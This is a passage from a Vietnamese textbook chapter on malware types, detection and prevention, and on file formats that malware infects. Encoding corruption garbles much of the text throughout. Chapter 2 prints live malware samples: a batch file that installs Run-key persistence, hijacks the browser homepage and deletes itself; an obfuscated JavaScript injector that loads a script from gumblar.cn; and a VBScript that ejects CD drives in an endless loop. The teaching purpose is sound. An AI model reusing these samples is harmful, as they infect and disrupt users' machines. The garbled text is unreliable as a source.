 - Backdoor l¨ m֥t thuԀt ngֻ chung ch֕ c§c phӺn mԚm Ľ֥c hӴi thҼ֩ng 

tr¼ v¨ Ľ֯i l֓nh ĽiԚu khiԜn tַ c§c c֡ng d֗ch vֱ TCP hoԊc UDP. M֥t c§ch 

http://vi.wikipedia.org/wiki/Ph%E1%BA%A7n_m%E1%BB%81m
http://vi.wikipedia.org/wiki/Internet
http://vi.wikipedia.org/wiki/Ph%E1%BA%A7n_m%E1%BB%81m_mi%E1%BB%85n_ph%C3%AD
http://vi.wikipedia.org/wiki/Ph%E1%BA%A7n_m%E1%BB%81m_mi%E1%BB%85n_ph%C3%AD
http://vi.wikipedia.org/wiki/Ph%E1%BA%A7n_m%E1%BB%81m_chia_s%E1%BA%BB
http://vi.wikipedia.org/wiki/Tin_t%E1%BA%B7c
http://vi.wikipedia.org/wiki/Th%C6%B0_%C4%91i%E1%BB%87n_t%E1%BB%AD
http://vi.wikipedia.org/wiki/Th%C6%B0_%C4%91i%E1%BB%87n_t%E1%BB%AD
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ĽҺn giӶn nhӸt, phӺn l֧n c§c backdoor cho ph®p m֥t kԎ tӸn c¹ng thֽc thi 

m֥t s֝ h¨nh Ľ֥ng tr°n m§y b֗ nhi֑m nhҼ truyԚn file, d¸ mԀt khӼu, thֽc 

hi֓n m« l֓nhé Backdoor cȈng c· thԜ ĽҼ֯c xem x®t dҼ֧i 2 dӴng: 

Zoombie và Remote Administration Tool 

 - Zoombie (c· thԜ Ľ¹i l¼c g֙i l¨ bot) l¨ m֥t chҼҺng tr³nh ĽҼ֯c c¨i ĽԊt 

l°n h֓ th֝ng nhԄm mֱc Ľ²ch tӸn c¹ng h֓ th֝ng kh§c. KiԜu th¹ng dֱng 

nhӸt cֳa Zoombie l¨ c§c Agent d½ng ĽԜ t֡ chֵc m֥t cu֥c tӸn c¹ng 

DDoS. KԎ tӸn c¹ng c· thԜ c¨i Zoombie v¨o m֥t s֝ lҼ֯ng l֧n c§c m§y 

t²nh r֟i ra l°nh tӸn c¹ng c½ng m֥t l¼c. Trinoo v¨ Tribe Flood Network l¨ 

hai Zoombie n֡i tiԒng. 

 - Remote Administration Tool l¨ c§c c¹ng cֱ c· sԈn cֳa h֓ th֝ng cho 

ph®p thֽc hi֓n quyԚn quӶn tr֗ tַ xa. Tuy nhi°n hacker cȈng c· thԜ l֯i 

dֱng t²nh nŁng n¨y ĽԜ x©m hӴi h֓ th֝ng. TӸn c¹ng kiԜu n¨y c· thԜ bao 

g֟m h¨nh Ľ֥ng theo d»i m֙i thֵ xuӸt hi֓n tr°n m¨n h³nh cho ĽԒn t§c 

Ľ֥ng v¨o cӸu h³nh cֳa h֓ th֝ng. V² dֱ vԚ c¹ng cֱ RAT là: Back Orifice, 

SubSevené 

 - Keylogger l¨ phӺn mԚm ĽҼ֯c d½ng ĽԜ b² mԀt ghi lӴi c§c ph²m Ľ« ĽҼ֯c 

nhӸn bԄng b¨n ph²m r֟i gֹi t֧i hacker. Keylogger c· thԜ ghi lӴi n֥i dung 

cֳa email, cֳa vŁn bӶn, user name, password, th¹ng tin b² mԀt...V² dֱ 

m֥t s֝ loӴi keylogger nhҼ: KeySnatch, Spysteré 

 - Rootkits l¨ tԀp h֯p cֳa c§c file ĽҼ֯c c¨i ĽԊt l°n h֓ th֝ng nhԄm biԒn 

Ľ֡i c§c chֵc nŁng chuӼn cֳa h֓ th֝ng th¨nh c§c chֵc nŁng tiԚm Ӽn c§c 

tӸn c¹ng nguy hiԜm. V² dֱ nhҼ trong h֓ th֝ng Windows, Rootkit c· thԜ 

sֹa Ľ֡i, thay thԒ file, hoԊc thҼ֩ng tr¼ trong b֥ nh֧ nhԄm thay thԒ, sֹa 

Ľ֡i c§c l֩i g֙i h¨m cֳa h֓ ĽiԚu h¨nh. Rootkit thҼ֩ng ĽҼ֯c d½ng ĽԜ c¨i 

ĽԊt c§c c¹ng cֱ tӸn c¹ng nhҼ c¨i backdoor, c¨i keylogger. V² dֱ vԚ 

Rootkit là: LRK5, Knark, Adore, Hack Defender. 

 - Web Browser Plug-in l¨ phҼҺng thֵc c¨i m« Ľ֥c hӴi thֽc thi c½ng v֧i 

tr³nh duy֓t web. Khi ĽҼ֯c c¨i ĽԊt, kiԜu m« Ľ֥c hӴi n¨y sԐ theo d»i tӸt cӶ 

c§c h¨nh vi duy֓t web cֳa ngҼ֩i d½ng (v² dֱ nhҼ t°n web site Ľ« truy 

nhԀp) sau Ľ· gֹi th¹ng tin ra ngo¨i. M֥t dӴng kh§c l¨ phӺn mԚm gián 

Ľi֓p c· chֵc nŁng quay s֝ Ľi֓n thoӴi tֽ Ľ֥ng, n· sԐ tֽ Ľ֥ng k²ch hoӴt 



32 

 

modem v¨ kԒt n֝i ĽԒn m֥t s֝ Ľi֓n thoӴi ngӺm Ľ֗nh mԊc d½ kh¹ng ĽҼ֯c 

ph®p cֳa chֳ nh©n. 

 - Email Generator l¨ nhֻng chҼҺng tr³nh cho ph®p tӴo ra v¨ gֹi Ľi m֥t 

s֝ lҼ֯ng l֧n c§c email. M« Ľ֥c hӴi c· thԜ gieo rԂc c§c Email generator 

v¨o trong h֓ th֝ng. C§c chҼҺng tr³nh gi§n Ľi֓p, spam, m« Ľ֥c hӴi c· thԜ 

ĽҼ֯c Ľ²nh k¯m v¨o c§c email ĽҼ֯c sinh l¨ tַ Email generator v¨ gֹi t֧i 

c§c Ľ֗a ch֕ c· trong s֡ Ľ֗a ch֕ cֳa m§y b֗ nhi֑m. 

 - Attacker Toolkit l¨ c§c b֥ c¹ng cֱ c· thԜ ĽҼ֯c tӶi xu֝ng v¨ c¨i v¨o h֓ 

th֝ng khi h֓ th֝ng Ľ« b֗ kh֝ng chԒ b֫i phӺn mԚm Ľ֥c hӴi. C§c c¹ng cֱ 

kiԜu nhҼ c§c b֥ d¸ qu®t c֡ng (port scanner), b֥ ph§ mԀt khӼu (password 

cracker), b֥ d¸ qu®t g·i tin (Packet Sniffer) ch²nh l¨ c§c Attacker Toolkit 

thҼ֩ng hay ĽҼ֯c sֹ dֱng. 

1.2.2.9 Phishing 

 L¨ m֥t h³nh thֵc tӸn c¹ng thҼ֩ng c· thԜ xem l¨ kԒt h֯p v֧i m« Ľ֥c hӴi. 

Phishing l¨ phҼҺng thֵc dֱ ngҼ֩i d½ng kԒt n֝i v¨ sֹ dֱng m֥t h֓ th֝ng 

m§y t²nh giӶ mӴo nhԄm l¨m cho ngҼ֩i d½ng tiԒt l֥ c§c th¹ng tin b² mԀt 

vԚ danh t²nh (v² dֱ nhҼ mԀt khӼu, s֝ t¨i khoӶn, th¹ng tin c§ nh©né). KԎ 

tӸn c¹ng phishing thҼ֩ng tӴo ra trang web hoԊc email c· h³nh thֵc gi֝ng 

h֓t nhҼ c§c trang web hoԊc email m¨ nӴn nh©n thҼ֩ng hay sֹ dֱng nhҼ 

trang cֳa Ng©n h¨ng, cֳa c¹ng ty ph§t h¨nh thԎ t²n dֱngé Email hoԊc 

trang web giӶ mӴo n¨y sԐ ĽԚ ngh֗ nӴn nh©n thay Ľ֡i hoԊc cung cӸp c§c 

th¹ng tin b² mԀt vԚ t¨i khoӶn, vԚ mԀt khӼué C§c th¹ng tin n¨y sԐ ĽҼ֯c 

sֹ dֱng ĽԜ tr֥m tiԚn trֽc tiԒp trong t¨i khoӶn hoԊc ĽҼ֯c sֹ dֱng v¨o c§c 

mֱc Ľ²ch bӸt h֯p ph§p kh§c. 
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Hình 1-8 M¹ tӶ vԚ Phishing 

1.2.2.10 Virus Hoax 

 L¨ c§c cӶnh b§o giӶ vԚ virus. C§c cӶnh bӶo giӶ n¨y thҼ֩ng n¼p dҼ֧i 

dӴng m֥t y°u cӺu khӼn cӸp ĽԜ bӶo v֓ h֓ th֝ng. Mֱc ti°u cֳa cӶnh b§o 

virus giӶ l¨ c֝ gԂng l¹i k®o m֙i ngҼ֩i gֹi cӶnh b§o c¨ng nhiԚu c¨ng t֝t 

qua email. BӶn th©n cӶnh b§o giӶ l¨ kh¹ng g©y nguy hiԜm trֽc tiԒp 

nhҼng nhֻng thҼ gֹi ĽԜ cӶnh b§o c· thԜ chֻa m« Ľ֥c hӴi hoԊc trong 

cӶnh b§o giӶ c· chֵa c§c ch֕ dӾn vԚ thiԒt lԀp lӴi h֓ ĽiԚu h¨nh, xo§ file 

l¨m nguy hӴi t֧i h֓ th֝ng. KiԜu cӶnh b§o giӶ n¨y cȈng g©y t֝n th֩i gian 

v¨ quӸy r֝i b֥ phԀn h֣ tr֯ k׃ thuԀt khi c· qu§ nhiԚu ngҼ֩i g֙i ĽԒn v¨ 

y°u cӺu d֗ch vֱ. 

1.3 C§c phҼҺng ph§p ph§t hin֓ m« Ľc֥ 

 M« Ľ֥c c· rӸt nhiԚu h³nh th§i kh§c nhau v¨ ĽԜ ph§t hi֓n ĽҼ֯c m« Ľ֥c 

t֟n tӴi trong m§y t²nh, trong h֓ th֝ng mӴng l¨ vi֓c kh¹ng d֑ d¨ng. ņ֝i 

v֧i ngҼ֩i d½ng th¹ng thҼ֩ng h֙ thҼ֩ng ch֕ nhԀn biԒt khӶ nŁng m§y t²nh 

b֗ nhi֑m m« Ľ֥c th¹ng qua m֥t s֝ dӸu hi֓u nhҼ : 

- Khóa, không cho chӴy c§c chҼҺng tr³nh h ֓th n֝g (cmd, regedit, tasl 

manager, gpedit, run,..) 

 - Khi chӴy m t֥ chҼҺng tr³nh thҼn֩g thông báo l֣i, chӴy các file *.exe, 

*.com,... ĽԚu b֗  thay thԒ b i֫ c§c chҼҺng tr³nh kh§c. 

 - Máy tính chӴy chԀm bӸt thҼn֩g, chԀm kԒt n֝ i mӴng. 
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 - NhԀn thӸy có vԎ nhҼ c· tiԒn tr³nh n¨o Ľ· Ľang chӴy t n֝ nhiԚu tài 

nguyên h֓ th n֝g, t֝ n RAM, CPU nhҼng chҼa t³m ra. 

 - ӻn file, thҼ mcֱ , tӴo c§c thҼ mcֱ lӴ, các biԜu tҼn֯g lӴ. 

 - Thay Ľi֡ Ľa֗ ch֕ IP kh¹ng v¨o ĽҼc֯ mӴng 

  - Ngoài ra có nhiԚu dӸu hi֓ u khác cho thӸy máy tính có thԜ b  ֗nhi֑ m 

m« Ľc֥. Tuy nhi°n Ľ¹i khi c§c dӸu hi u֓ này là kԒt quӶ xung Ľt֥ gi aֻ các 

phӺn mԚm chӴy trên máy tính, hoԊc giֻ a phӺn cֵ ng và phӺn mԚm không 

tҼҺng th²ch. 

  Bên cӴnh Ľ·,  ngҼi֩ dùng khó có thԜ t³m ĽҼc֯ v֗  tr² ch²nh x§c m« Ľc֥ 

nԄm ֫  Ľ©u trong m§y t²nh, trong h ֓th n֝g mӴng.  

   ņԜ có thԜ x§c Ľn֗h ĽҼc֯ v֗  trí và phát hi֓n thֽ c sֽ  m« Ľc֥ nԄm ֫  Ľ©u 

th³ ngҼi֩ dùng có thԜ sֹ  d nֱg m֥ t s֝  phӺn mԚm phát hi֓ n và phòng 

ch֝ ng m« Ľc֥. Các nhà khoa h֙c Ľ« tn֝ nhiԚu công sֵc nghiên cֵu, xây 

d nֽg các h֓ th n֝g phòng ch֝ng virus máy tính theo nhiԚu hҼ֧ng  tiԒp 

cԀn, k׃ thuԀt khác nhau .Cho ĽԒn nay, có ba k׃ thuԀt nhԀn dӴng virus 

m§y t²nh Ľ« ĽҼc֯ áp dֱ ng: dֽ a vào chu֣i nhԀn  dӴng virus (signature-

based approach), dֽa vào hành vi nghi ng֩ virus (suspicious  

behavior-based approach) và dֽa v¨o Ĩ Ľn֗h virus (intention-based 

approach).   

Ph̯̭ng ph§p ph§t hiΜn dχa vào chuέi nhͻn dͧ ng 

HoӴt Ľn֥g theo nguyên lý nhԀn dӴng mӾu, các AV sֹ d nֱg m֥ t CSDL 

chֵ a mӾu virus (ID-virus library). M֣ i khi có virus m֧ i, các chuyên gia 

anti-virus sԐ giӶi mã, trích ch֙n và cԀp nhԀt chu֣ i nhԀn dӴng virus vào 

thҼ vi n֓. Thông tin vԚ Ľ֝i tҼ֯ng chӼn Ľo§n (ghi nhԀn tַ  h  ֓th n֝g Ľ²ch) 

cùng v֧ i thông tin cֳ a virus (trong thҼ vi n֓ mӾu) sԐ cho kԒt luԀn vԚ tình 

trӴng cֳ a Ľ֝i tҼn֯g.  

NhԀn dӴng mӾu giúp AV phát hi֓n c§c virus Ľ« biԒt trên tԀp dֻ li u֓ 

chӼn Ľo§n vi֧ Ľ ֥ch²nh x§c cao. Tuy nhi°n phҼҺng ph§p n¨y c· kh§ 

nhiԚu nhҼc֯ ĽiԜm:  

-  C n֟g kԚnh: K²ch thҼc֧ thҼvin֓ mӾu tׁ l t֓huԀn v֧ i s֝ virus Ľ« cԀp nhԀt 

và  t lׁ  ֓ngh֗ch v֧ i t c֝ Ľ֥tìm kiԒm.  



35 

 

-  B  ֗Ľ֥ng: AV ch֕  hi u֓ quӶ trên các mӾu virus Ľ« cԀp nhԀt, kh¹ng Ľ§p 

nֵg k֗p th i֩ d c֗h b֓ nh do t֝ n th֩ i gian cho vi֓ c thu thԀp mӾu virus m֧ i, 

giӶi mã, phân tích, lԀp thuԀt giӶi, cԀp nhԀt phiên bӶn m֧ i, ph§t h¨nhé  

-  NhӺm lӾn: Các hacker c֝ gԂng tӴo v֛  b c֙ an toàn cho virus. Khi AV 

so mӾu  chӼn Ľo§n gin֝g v֧ i virus, dֻ  li u֓ sӴch cֳ a h֓  th n֝g sԐ b  ֗tӼy 

(clean) nhӺm.  

  Ph̯̭ng ph§p ph§t hiΜn dχa tr°n h¨nh vi kh§c v֧i vi֓c ph§t hi֓n dֽa 

v¨o bԚ ngo¨i, cӸu tr¼c t֓p tin c· sԈn l¨ n· x§c Ľ֗nh c§c h¨nh Ľ֥ng thֽc 

hi֓n cֳa m« Ľ֥c hҺn l¨ vi֓c x§ Ľ֗nh cӸu tr¼c nh֗ ph©n cֳa chҼҺng tr³nh. 

C§c chҼҺng tr³nh kh¹ng gi֝ng v֧i c¼ ph§p hay cӸu tr¼c nhҼng c· h¨nh 

vi gi֝ng v֧i nhֻng h¨nh vi Ľ« x§c Ľ֗nh trҼ֧c l¨ Ľ« x§c Ľ֗nh ĽҼ֯c n· l¨ 

m« Ľ֥c hay kh¹ng.  

CҺ chԒ n¨y gi¼p cho vi֓c x§c Ľ֗nh m« Ľ֥c m֥t c§ch hi֓u quӶ Ľ֝i v֧i 

c§c loӴi m« Ľ֥c kh¹ng ngַng tӴo ra c§c biԒn Ľ֡i m« l֓nh cֳa n·. PhҼҺng 

ph§p ph§t hi֓n h¨nh vi lu¹n theo d»i c§c biԒn Ľ֡i  vԚ t¨i nguy°n h֓ th֝ng 

v¨ c§c d֗ch vֱ m¨ c§c m« Ľ֥c khi sֹ dֱng sԐ ngay lԀp tֵc b֗ theo d»i v¨ 

quan sát hành vi. 

M֥t chҼҺng tr³nh ph§t hi֓n h¨nh vi g֟m c§c th¨nh phӺn sau: 

Thu thԀp dֻ li֓u: Th¨nh phӺn n¨y thu thԀp c§c th¹ng tin Ľ֥ng v¨ tǫnh 

ĽҼ֯c ghi lӴi. 

ChuyԜn Ľ֡i: Th¨nh phӺn n¨y sԐ chuyԜn c§c th¹ng thu thԀp ĽҼ֯c b֫i m¹ 

Ľun thu thԀp dֻ li֓u v¨o nҺi trung gian ĽԜ lҼu v¨o cҺ s֫ dֻ li֓u. 

ThuԀt to§n so s§nh: ņҼ֯c sֹ dֱng ĽԜ so s§nh c§c phӺn ĽӴi Ľi֓n v֧i chֻ 

ký hành vi. 
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Hình 1-9  M¹ h³nh chҼҺng tr³nh qu®t h¨nh vi 

 

Ph§t hiΜn virus dχa v¨o Ĩ ĽΠnh  

Do h«ng Sandrasoft (ӷn ņ֥) ĽԚ xҼ֧ng tַ nŁm 2005, tiԒp cԀn intention-

based (t°n m« Rudra) [90] lҼu giֻ h³nh Ӷnh chi tiԒt cֳa m§y tính trong 

t³nh trӴng sӴch, sau  Ľ· tiԒp tֱc theo d»i trӴng th§i h֓ th֝ng. Nhֻng thay 

Ľ֡i quan tr֙ng trong tԀp tin, cӸu h³nh h֓ th֝ng hay HņH ĽԚu ĽҼ֯c cӶnh 

b§o nhҼ m֥t m֝i hiԜm h֙a tiԚm t¨ng.  

Khi nhֻng thay Ľ֡i n¨y ĽҼ֯c Ľ§nh gi§ nguy hiԜm, h֓ th֝ng sԐ khôi 

phֱc m§y vԚ tìnhtrӴng ban ĽӺu. MԊc d½ ĽҺn giӶn nhҼng tiԒp cԀn n¨y t֛ 

ra kh§ hi֓u quӶv³ n· c· thԜ bӶo v֓m§y t²nh kh֛i c§c m֝i Ľe d֙a chҼa 

ĽҼ֯c biԒt ĽԒn, kԜ cӶ virus máy tính.  

Trong thֽc tԒ, tiԒp cԀn ñquay vԚqu§ khֵò Ľ« ĽҼ֯c nhiԚu h«ng phӺn 

mԚm h֓ th֝ng sֹdֱng: Symantec [89] c· Norton Ghost và Norton 

Goback; VMware [94]  có System Image Snapshot; Faronics [74] có 

Deep Freezeé BӶn th©n Windows XP cȈng c· chֵc nŁng phֱc h֟i h֓ 

th֝ng bԄng System Restore. Tuy nhi°n tiԒp cԀn n¨y k®m hi֓u quӶ khi 

các ĽiԜm trӴng th§i ĽҼ֯c ghi nhԀn l¼c h֓ th֝ng b֗ nhi֑m virus lӴ.  

MԊt kh§c, h֓ th֝ng cȈng cӺn b֥ nh֧ ngo¨i Ľֳ l֧n ĽԜ lҼu to¨n b֥ hình 

Ӷnh h֓ th֝ng qua  tַng th֩i ĽiԜm [39]. 
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1.4 C§c phҼҺng ph§p ph¸ng chn֝g m« Ľc֥ 

  Hi֓n gi֩ vi֓c ph¸ng v¨ ch֝ng m« Ľ֥c l¨ y°u cӺu chung cֳa ngҼ֩i sֹ 

dֱng m§y t²nh v¨ h֓ th֝ng mӴng. Hi֓n tӴi ngҼ֩i d½ng thҼ֩ng sֹ dֱng 

c§c phӺn mԚm di֓t m« Ľ֥c, tuy nhi°n hi֓n gi֩ m« Ľ֥c xuӸt hi֓n theo 

tַng gi֩, tַng ng¨y v³ thԒ hӺu hԒt c§c chҼҺng tr³nh di֓t m« Ľ֥c kh¹ng 

cԀp nhԀt k֗p c§c mӾu ph½ h֯p. V³ vԀy b°n cӴnh giӶi ph§p l¨ sֹ dֱng 

phӺn mԚm di֓t m« Ľ֥c Ľ¼ng c§ch th³ ngҼ֩i d½ng cӺn phӶi c· nhֻng 

ch²nh s§ch sֹ dֱng m§y t²nh ph½ h֯p nhҼ sau: 

 - Sֹ  d nֱg phӺn mԚm di֓ t m« Ľc֥, cԀp nhԀt thҼn֩g xuyên. 

  - Qu®t virus Ľn֗h kȢ. 

  - Luôn quét các USB, ֡ c nֵg gԂn ngoài khi cԂm vào máy tính. 

 - Duy t֓ web an toàn, thiԒt lԀp bӶo mԀt cho trình duy֓t, tránh click 

nhֻ ng link quӶng cáo hoԊc bӸt thҼn֩g. 

  - Quét các file tӶi vԚ t  ַInternet 

 - Không kích vào link hay t֓p Ľ²nh k¯m trong email khi chҼa chԂc chԂn 

vԚ Ľ֥ an toàn cֳ a chúng. 

 - TӶi v¨ c¨i ĽԊt phӺn mԚm tַ  các website tin cԀy. 

 - Sֹ  d nֱg Sandbox, máy Ӷo, các trang kiԜm tra trֽ c tuyԒn ĽԜ kiԜm thֹ  

chҼҺng tr³nh nԒu không chԂc chԂn vԚ tính an toàn cֳa nó. 

 - VԀn dֱ ng kinh nghi֓m sֹ  d nֱg máy tính 

  + Phát hi֓n sֽ  hoӴt Ľn֥g kh§c thҼn֩g cֳ a máy tính 

  + KiԜm soát các ֵng dֱ ng Ľang hoӴt Ľn֥g 

  + LoӴi b  ֛m t֥ s֝  t²nh nŁng caֳ HņH c· thԜ tӴo ĽiԚu ki n֓ lây 

nhi֑ m cho virus 

 - CԀp nhԀt các bӶn vá l֣ i h  ֓ĽiԚu hành 

 - BӶo v֓  d  ֻli u֓ máy tính 

  + Sao lҼu d ֻli u֓ theo chu kȢ 

  + TӴo các dֻ  li u֓ phֱ c h֟ i cho toàn h֓ th n֝g 
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C©u h֛i ¹n tԀp. 
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ChҼҺng 2 

Cҹ CHԑ HOӳT ņ֤NG C Aֲ Më ņC֤ 

Nghi°n cֵu m« Ľ֥c trên m§y t²nh lu¹n gԂn v֧i vi֓c ph©n t²ch c§c Ľ֗nh 

dӴng dֻ li֓u vԀt chֳ. M֣i loӴi m« Ľ֥c ch֕ l©y v¨o m֥t s֝ Ľ֗nh dӴng dֻ 

li֓u nhӸt Ľ֗nh. Ph©n t²ch c§c Ľ֗nh dӴng dֻ li֓u m¨ m« Ľ֥c hay sֹ dֱng 

l¨m m¹ trҼ֩ng l©y lan, cҼ tr¼ l¨ cҺ s֫ ĽԜ ph©n loӴi dֻ, giӶm thiԜu quá 

tr³nh ph§t hi֓n (loӴi b֧t c§c Ľ֝i tҼ֯ng chԂc chԂn sӴch kh֛i chӼn Ľo§n) và 

gia tŁng Ľ֥ tin cԀy cֳa h֓ th֝ng (giӶm nguy cҺ b֛ s·t Ľ֝i tҼ֯ng chӼn 

Ľo§n). C§c Ľ֗nh dӴng vԀt chֳ chֵa m« thi h¨nh c· thԜ nhi֑m m« Ľ֥c 

g֟m: tԀp tin vŁn bӶn, tԀp tin chҼҺng tr³nh, tԀp tin MS  Office v¨ mӾu tin 

kh֫i Ľ֥ng 

 

 Hinh 2-1: C§c Ľ֗nh dӴng vԀt chֳ chֵa m« thֽc thi c· thԜ b֗ nhi֑m virus 

2.1 C§c Ľn֗h dӴng d  ֻli u֓ nhi m֑ m« Ľc֥ 

2.1.1 ņ֗nh dӴng tԀp tin vŁn bӶn 

TԀp vŁn bӶn (text file) l¨ t֡ chֵc file ĽҺn giӶn, ĽҼ֯c chia l¨m hai loӴi:  

-  TԀp vŁn bӶn 7 bit: chֵa c§c kĨ tֽ ASCII chuӼn (7 bit) c· thԜ g» trֽc 

tiԒp tַ b¨n ph²m, m« tַ 32 (khoӶng trԂng) ĽԒn 126 (kĨ tֽ~). TԀp vŁn bӶn 

7 bit d½ng  chֵa n֥i dung chҼҺng tr³nh ngu֟n nhҼ PAS, ASM, C, CPP, 

JS, VBSé  

-  TԀp vŁn bӶn 8 bit: c· th°m c§c kĨ tֽ ASCII m֫ r֥ng 8 bit (tַ 128 ĽԒn 

255)  
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sֹ dֱng kĨ tֽ graphic trang tr² bӶng, h³nh h֥p hoԊc thiԒt lԀp font chֻ 

ri°ng. Do hi֓n nay c§c tr³nh bi°n d֗ch/th¹ng d֗ch l֓nh ch֕ h֣ tr֯ các ký 

tֽ 7 bit n°n  chҼa ph§t hi֓n c©u l֓nh virus trong c§c tԀp tin vŁn bӶn 8 bit.  

ņԜ thֽc thi c§c c©u l֓nh trong tԀp tin vŁn bӶn 7 bit, h֓ th֝ng phӶi d֗ch 

ch¼ng sang m« m§y. Do kh¹ng phӶi h֓ th֝ng n¨o cȈng c· Ľֳ b֥ d֗ch 

l֓nh cֳa tӸt cӶ c§c ng¹n ngֻ lԀp tr³nh, n°n ch֕ v¨i loӴi tԀp tin vŁn bӶn 7 

bit l¨ c· nguy cҺ nhi֑m virus (BӶng P2.2), Ľ· l¨ c§c tԀp tin chֵa tԀp l֓nh 

cֳa c§c ng¹n ngֻ lԀp tr³nh ĽҼ֯c t²ch h֯p sԈn trong h֓ th֝ng (H³nh P2.1). 

 

Hình 2-2 : C§c loӴi tԀp tin vŁn bӶn 

DӸu hi֓u nhԀn dӴng c§c tԀp vŁn bӶn 7-bit c· thԜ nhi֑m virus l¨:  

-  D  ֻli֓u byte (32-127)  

- Chֵa c§c tַ kh·a cֳa c§c ng¹n ngֻ lԀp tr³nh t²ch h֯p sԈn trong h֓ 

th֝ng  

 (Java Script, VB Script, HTML Application, Command Interpreteré). 

 

       

DҼ֧i Ľ©y l¨ m֥t dӴng malware nԄm trong file bat. 

N֥i dung nhҼ sau:  

@ECHO OFF 
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REG ADD HKCU\Software\Microsoft\InternetExplorer\Main /v StartPage /t REG_SZ 

/dhttp://pcgyaan.wordpress.com /f 

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ 

/d %windir%\force.exe /f 

copy /y Wallpaper1.bmp  ò%USERPROFILE%\Local Settings\Application Data\Microsoftò 

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters 

RUNDLL32.exe USER32.DLL,SwapMouseButton 

rename song.exe  force.exe 

move /y force.exe ñ%windir%ò 

del /Q force.bat 

del /Q wallpaper.bmp 

 

MӾu m« Ľ֥c  trong Ľ֗nh dӴng Java  js 

<script language=javascript><!--  

(function(){var xXx='%';var 

ZjWrI='_76_61r_20_61_3d_22_53criptE_6eg_69ne_22_2cb_3d_22V_65r_73io_6e()+_22_2cj_3d_22_

22_2cu_3d_6eav_69_67a_74or_2e_75_73er_41g_65nt_3bif(_28u_2e_69ndexOf_28_22W_69n_22)_3

e0)_26_26_28_75_2ein_64exOf(_22N_54_20_36_22)_3c0_29_26_26(do_63ument_2ecook_69_65_2

ei_6ed_65xOf(_22_6die_6b_3d_31_22_29_3c0_29_26_26(t_79p_65of(z_72_76_7at_73)_21_3dt_79p

eof(_22A_22)))_7bzr_76zts_3d_22A_22_3b_65v_61l(_22if(wi_6edow_2e_22+a+_22)_6a_3dj+_22+a

+_22_4d_61jo_72_22_2bb_2ba+_22Minor_22+b+a+_22_42_75ild_22+b+_22_6a_3b_22)_3bd_6fcu

ment_2e_77r_69te_28_22_3cscript_20sr_63_3d_2f_2fgumblar_2e_63n_2f_72_73s_2f_3fi_64_3d_22

+j_2b_22_3e_3c_5c_2fscript_3e_22_29_3b_7d';var 

xtS=ZjWrI.replace(/_/g,xXx);eval(unescape(xtS))})(); 

 --></script> 

 

MӾu m« Ľ֥c trong Ľ֗nh dӴng VBS 

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = 

oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to 

colCDROMs.Count -  1 colCDROMs.Item(i).Eject Next For i = 0 to 

colCDROMs.Count -  1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 

loop  

 

 

 

 

http://pcgyaan.wordpress.com/
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2.1.2 ņn֗h dӴng trong t p֓ tin chҼҺng tr³nh 

C§c tԀp tin chҼҺng tr³nh (program file), c¸n g֙i l¨ ֵng dֱng 

(application) hay phӺn mԚm (software), ĽҼ֯c bi°n d֗ch th¨nh c§c t֡ chֵc 

file thֽc thi trong m¹i trҼ֩ng cֳa h֓ ĽiԚu h¨nh. ņ֝i v֧i DOS/Windows, 

ngo¨i hai loӴi tԀp tin chҼҺng tr³nh  ch²nh l¨ COM v¨ EXE c¸n c· c§c t֡ 

chֵc thֽc thi kh§c nhҼ SYS, DLL, CPL, SCR,  OCXé Trong qu§ tr³nh 

ph§t triԜn, Microsoft Ľ« sֹ dֱng nhiԚu Ľ֗nh dӴng thֽc thi phֵc tӴp. Khi 

nӴp v¨o b֥ nh֧, tԀp tin chҼҺng tr³nh sԐ ĽҼ֯c h֓ ĽiԚu h¨nh thֽc thi, 

kh¹ng quan t©m ngu֟n g֝c v¨ mֵc Ľ֥ nguy hiԜm cֳa c§c l֓nh n¨y. Do 

vԀy, c§c tԀp tin chҼҺng tr³nh l¨ m֥t trong nhֻng kԐ h֫ bӶo mԀt quan 

tr֙ng cֳa h֓ th֝ng. 

 

Hình 2-3: C§c loӴi t֓p tin chҼҺng tr³nh 

 

Hình 2-4 : Ph©n loӴi c§c t֓p tin chҼҺng tr³nh 
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Ph©n t²ch Ľ֗nh dӴng tԀp tin l¨ hoӴt Ľ֥ng kh§ ph֡ biԒn trong nhiԚu lǫnh 

vֽc  phӺn mԚm (Ľ֟ h֙a, ©m thanh, li°n lӴc, bӶo mԀt, h֓ th֝ngé) v֝n t֕ 

m֕, t֝n nhiԚu  t֩i gian v¨ c¹ng sֵc. C· rӸt  nhiԚu t¨i li֓u n·i vԚ c§c loӴi 

Ľ֗ nh dӴng tԀp tin, n°n  trong phӺn n¨y gi§o tr³nh n¨y kh¹ng Ľi s©u ph©n 

t²ch k׃ thuԀt m¨ tԀp trung v¨o c¹ng t§c ph©n loӴi 

Sinh vi°n c· thԜ tham khӶo th°m c§c Ľ֗nh dӴng t֓p tin tӴi Ľ֗a ch֕ 

http://www.wotsit.org.  

2.1.2.1 ņΠnh dͧ ng COM (DOS Command)  

 COM l¨ Ľ֗nh dӴng thi h¨nh  ĽҺn giӶn trong m¹ h³nh ph©n ĽoӴn  

segment:offset cֳa MSDOS. C§c tԀp tin COM chֵa h³nh Ӷnh dֻ li֓u cֳa 

ĽoӴn b֥ nh֧ l¼c file ĽҼ֯c nӴp v¨o Ľ֗a ch֕ Segment:100h. Do hoӴt Ľ֥ng 

trong m֥t ph©n ĽoӴn nên kích thҼ֧c file COM gi֧i hӴn trong phӴm vi 

64KB. Khi lây vào file COM,  virus sԐ thay ĽiԜm v¨o l֓nh ĽӺu ti°n bԄng 

l֓nh g֙i (m« m§y E8h) hoԊc l֓nh nhӶy (EBh nhӶy gӺn dҼ֧i 128 byte, 

E9h nhӶy xa tr°n 128 byte) ĽԒn thֳ tֱc xֹ lĨ cֳa virus (Hình   ). ņԊc 

ĽiԜm nhԀn dӴng c§c tԀp COM c· thԜ nhi֑m virus nhҼ sau:  

-  K²ch thҼ֧c dҼ֧i 64KB  

-  D  ֻli֓u byte trӶi d¨i tr°n b֥ mã ASCII (0-255)  

-  C· l֓nh nhӶy (E9h, EBh) hoԊc l֓nh g֙i (E8h) ĽӺu file. 

 

http://www.wotsit.org/
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                           Hình 2-5: M¹ tӶ dֻ li֓u m֥t tԀp tin COM ti°u biԜu 

a. BiԜu di֑n vector dֻ li֓u byte cֳa tԀp tin COM  

